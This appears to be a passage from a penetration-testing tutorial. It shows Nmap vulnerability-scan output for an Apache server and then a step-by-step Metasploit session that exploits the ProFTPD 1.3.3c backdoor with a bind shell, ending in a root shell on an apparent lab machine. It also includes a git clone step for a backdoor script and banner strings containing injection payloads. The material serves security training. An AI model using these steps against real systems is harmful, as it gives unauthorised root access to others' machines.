| PACKETSTORM:171631 7.5 [Link]

*EXPLOIT*

| MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- 7.5
[Link]
*EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| F7F6E599-CEF4-5E03-8E10-FE18C4101E38 7.5
[Link] *EXPLOIT*

| EDB-ID:42745 7.5 [Link] *EXPLOIT*

| EDB-ID:40909 7.5 [Link] *EXPLOIT*

| E5C174E5-D6E8-56E0-8403-D287DE52EB3F 7.5
[Link] *EXPLOIT*

| DB6E1BBD-08B1-574D-A351-7D6BB9898A4A 7.5
[Link]
*EXPLOIT*

| CVE-2024-40898 7.5 [Link]

| CVE-2024-39573 7.5 [Link]

| CVE-2024-38477 7.5 [Link]

| CVE-2024-27316 7.5 [Link]

| CVE-2023-31122 7.5 [Link]

| CVE-2022-30556 7.5 [Link]

| CVE-2022-29404 7.5 [Link]

| CVE-2022-26377 7.5 [Link]

| CVE-2022-22719 7.5 [Link]

| CVE-2021-34798 7.5 [Link]

| CVE-2021-33193 7.5 [Link]

| CVE-2021-26690 7.5 [Link]

| CVE-2019-0217 7.5 [Link]

| CVE-2019-0215 7.5 [Link]

| CVE-2018-17199 7.5 [Link]

| CVE-2018-1333 7.5 [Link]

| CVE-2018-1303 7.5 [Link]

| CVE-2017-9798 7.5 [Link]

| CVE-2017-15710 7.5 [Link]

| CVE-2016-8743 7.5 [Link]

| CVE-2016-8740 7.5 [Link]

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| CVE-2016-4979 7.5 [Link]

| CVE-2006-20001 7.5 [Link]

| C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B 7.5
[Link]
*EXPLOIT*

| BD3652A9-D066-57BA-9943-4E34970463B9 7.5
[Link]
*EXPLOIT*

| B5E74010-A082-5ECE-AB37-623A5B33FE7D 7.5
[Link] *EXPLOIT*

| B0208442-6E17-5772-B12D-B5BE30FA5540 7.5
[Link] *EXPLOIT*

| A820A056-9F91-5059-B0BC-8D92C7A31A52 7.5
[Link]
*EXPLOIT*

| A0F268C8-7319-5637-82F7-8DAF72D14629 7.5
[Link] *EXPLOIT*

| 9814661A-35A4-5DB7-BB25-A1040F365C81 7.5
[Link]
*EXPLOIT*

| 5A864BCC-B490-5532-83AB-2E4109BB3C31 7.5
[Link] *EXPLOIT*

| 45D138AD-BEC6-552A-91EA-8816914CA7F4 7.5
[Link]
*EXPLOIT*

| 17C6AD2A-8469-56C8-BBBE-1764D0DF1680 7.5
[Link]
*EXPLOIT*

| 1337DAY-ID-38427 7.5 [Link] *EXPLOIT*

| CVE-2020-35452 7.3 [Link]

| EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB 7.2
[Link]
*EXPLOIT*

| 1337DAY-ID-32502 7.2 [Link] *EXPLOIT*

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 6.8
[Link]
*EXPLOIT*

| 0095E929-7573-5E4A-A7FA-F6598A35E8DE 6.8
[Link] *EXPLOIT*

| CVE-2020-1927 6.1 [Link]

| CVE-2019-10098 6.1 [Link]

| CVE-2019-10092 6.1 [Link]

| CVE-2016-4975 6.1 [Link]

| CVE-2023-45802 5.9 [Link]

| CVE-2018-1302 5.9 [Link]

| CVE-2018-1301 5.9 [Link]

| CVE-2018-11763 5.9 [Link]

| CVE-2016-1546 5.9 [Link]

| 1337DAY-ID-33577 5.8 [Link] *EXPLOIT*

| CVE-2020-13938 5.5 [Link]

| CVE-2022-37436 5.3 [Link]

| CVE-2022-28614 5.3 [Link]

| CVE-2022-28330 5.3 [Link]

| CVE-2020-1934 5.3 [Link]

| CVE-2020-11985 5.3 [Link]

| CVE-2019-17567 5.3 [Link]

| CVE-2019-0220 5.3 [Link]

| CVE-2019-0196 5.3 [Link]

| CVE-2018-17189 5.3 [Link]

| CVE-2018-1283 5.3 [Link]

| SSV:96537 5.0 [Link] *EXPLOIT*

| EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0
[Link]
*EXPLOIT*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
| EXPLOITPACK:2666FB0676B4B582D689921651A30355 5.0
[Link]
*EXPLOIT*

| 1337DAY-ID-28573 5.0 [Link] *EXPLOIT*

| CVE-2016-8612 4.3 [Link]

| 4013EC74-B3C1-5D95-938A-54197A58586D 4.3
[Link]
*EXPLOIT*

| 1337DAY-ID-33575 4.3 [Link] *EXPLOIT*

|_ PACKETSTORM:152441 0.0 [Link]

*EXPLOIT*

| http-slowloris-check:

| VULNERABLE:

| Slowloris DOS attack

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2007-6750

| Slowloris tries to keep many connections to the target web server open and hold

| them open as long as possible. It accomplishes this by opening connections to

| the target web server and sending a partial request. By doing so, it starves

| the http server's resources causing Denial Of Service.

| Disclosure date: 2009-09-17

| References:

| [Link]

|_ [Link]

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| http-enum:

|_ /secret/: Potentially interesting folder

MAC Address: 00:0C:29:0D:74:93 (VMware)

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at [Link] .

Nmap done: 1 IP address (1 host up) scanned in 328.63 seconds

Find Backdoor or Exploit from Online

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Link: [Link]
Backdoor_Command_Execution_Automated_Script
Open Parrot machine and Install the Backdoor
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
#git clone [Link]
Backdoor_Command_Execution_Automated_Script.git

End
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Metasploit Community Edition

#msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunn
yWrote*L1T*[Link]*() { :;}; echo vulnerable*
*Team
sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP
Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow
Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffael
a*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI
Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitcher
s*0xnoobs*
*ItPwns - Intergalactic Team of
PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital
Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfOUsec*CTF
Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn
Platoon*Hackerty*hackstreetboys*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan
Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber
Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-
x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam
*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!
3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail
hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of
Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-
CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty
Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humzi
q*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA
Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3* *Les Cadets
Rouges*buf*
*Les Tontons Fl4gueurs* *404 : Flag Not
Found*
*' UNION SELECT 'password* _________ __
*OCD247*Sparkle Pony*
*burner_herz0g* \_ ___ \_____ _______/ |_ __ _________ ____
*Kill$hot*ConEmu*
*here_there_be_trolls* / \ \/\__ \ \____ \ __\ | \_ __ \_/ __ \
*;echo"hacked"*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
*r4t5_*6rung4nd4*NYUSEC* \ \____/ __ \| |_> > | | | /| | \/\ ___/
*karamel4e*
*IkastenIO*TWC*balkansec* \______ (____ / __/|__| |____/ |__| \___
> *[Link]*
*TofuEelRoll*Trash Pandas* \/ \/|__| \/
*OneManArmy*cyb3r_w1z4rd5*
*Astra*Got Schwartz?*tmux* ___________.__
*AreYouStuck*[Link].0*
*\nls*Juicy white peach* \__ ___/| |__ ____ *EPITA
Rennes*
*HackerKnights* | | | | \_/ __ \
*guildOfGengar*Titans*
*Pentest Rangers* | | | Y \ ___/ *The
Libbyrators*
*placeholder name*bitup* |____| |___| /\___ >
*JeffTadashi*Mikeal*
*UCASers*onotch* \/ \/
*ky_dong_day_song*
*NeNiNuMmOk* ___________.__
*JustForFun!*
*Maux de tête*LalaNG* \_ _____/| | _____ ____
*g3tsh3Lls0on*
*crr0tz*z3r0p0rn*clueless* | __) | | \__ \ / ___\ *Phở
Đặc Biệt*Paradox*
*HackWara* | \ | |__/ __ \_/ /_/ >
*KaRIPux*inf0sec*
*Kugelschreibertester* \___ / |____(____ /\___ /
*bluehens*Antoine77*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
*icemasters* \/ \//_____/
*genxy*TRADE_NAMES*
*Spartan's Ravens* _______________ _______________
*BadByte*fontwang_tw*
*g0ldd1gg3rs*pappo* \_____ \ _ \ \_____ \ _ \
*ghoti*
*Les CRACKS*c0dingRabbits* / ____/ /_\ \ / ____/ /_\ \
*LinuxRiders*
*2Cr4Sh*RecycleBin* / \ \_/ \/ \ \_/ \ *Jalan
Durian*
*ExploitStudio* \_______ \_____ /\_______ \_____ /
*WPICSC*logaritm*
*Car RamRod*0x41414141* \/ \/ \/ \/
*Orv1ll3*team-fm4dd*
*Björkson*FlyingCircus*
*PwnHub*H4X0R*Yanee*
*Securifera*hot cocoa*
*Et3rnal*PelarianCP*
*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-
Go*BarryWhite*XUcyber*FernetInjection*DCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The
Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OS
INT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3rDoctor*Techlock
Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOV
ERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a
byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
*Individual*mikejam*Flag
Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber
Rangers*[Link]*Akerbeltz*cheeseroyale*Ephyra*sard
city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes
University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's
Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube
warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingID
K*Tieto_alaviiva_turva*
*InspiV*RPCA Cyber
Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departe
dcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA
*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cl
a55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclips
e*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3r
s*bluenet*P@Ge2mE*

=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: [Link]

[msf](Jobs:0 Agents:0) >> search proFTPD_1.3.3c

[-] No results from search
[msf](Jobs:0 Agents:0) >> search proFTPD

Matching Modules
================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------
0 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average
No NetSupport Manager Agent Remote Buffer Overflow
1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great Yes
ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great Yes
ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
3 exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great Yes
ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
4 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes
ProFTPD 1.3.5 Mod_Copy Command Execution
5 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No
ProFTPD-1.3.3c Backdoor Command Execution
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

Interact with a module by name or index. For example info 5, use 5 or use
exploit/unix/ftp/proftpd_133c_backdoor

[msf](Jobs:0 Agents:0) >> use 5

[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see
[Link]
etasploit/basics/[Link]
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
-- ----
0 Automatic

View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> set RHOST

[Link]
RHOST => [Link]
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> set rport 21
rport => 21
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> run

[-] [Link]:21 - Exploit failed: A payload has not been selected.

[*] Exploit completed, but no session was created.
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> show
payloads

Compatible Payloads
===================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
0 payload/cmd/unix/adduser normal No Add user with
useradd
1 payload/cmd/unix/bind_perl normal No Unix
Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix
Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/generic normal No Unix
Command, Generic Command Execution
4 payload/cmd/unix/reverse normal No Unix Command
Shell, Double Reverse TCP (telnet)
5 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix
Command Shell, Reverse TCP SSL (telnet)
6 payload/cmd/unix/reverse_perl normal No Unix
Command Shell, Reverse TCP (via Perl)
7 payload/cmd/unix/reverse_perl_ssl normal No Unix
Command Shell, Reverse TCP SSL (via perl)
8 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix
Command Shell, Double Reverse TCP SSL (telnet)

[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> set payload

1
payload => cmd/unix/bind_perl
[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description

 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS [Link] yes The target host(s), see
[Link]
etasploit/basics/[Link]
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/bind_perl):

Name Current Setting Required Description

---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST [Link] no The target address

Exploit target:

Id Name
-- ----
0 Automatic
 Vulnerability Assessment & Penetration Testing
Nmap Basic to Advance Command

View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(unix/ftp/proftpd_133c_backdoor) >> run

[*] [Link]:21 - Sending Backdoor Command

[*] Started bind TCP handler against [Link]:4444
[*] Command shell session 1 opened ([Link]:41049 ->
[Link]:4444) at 2024-09-09 01:25:00 -0400

whoami
root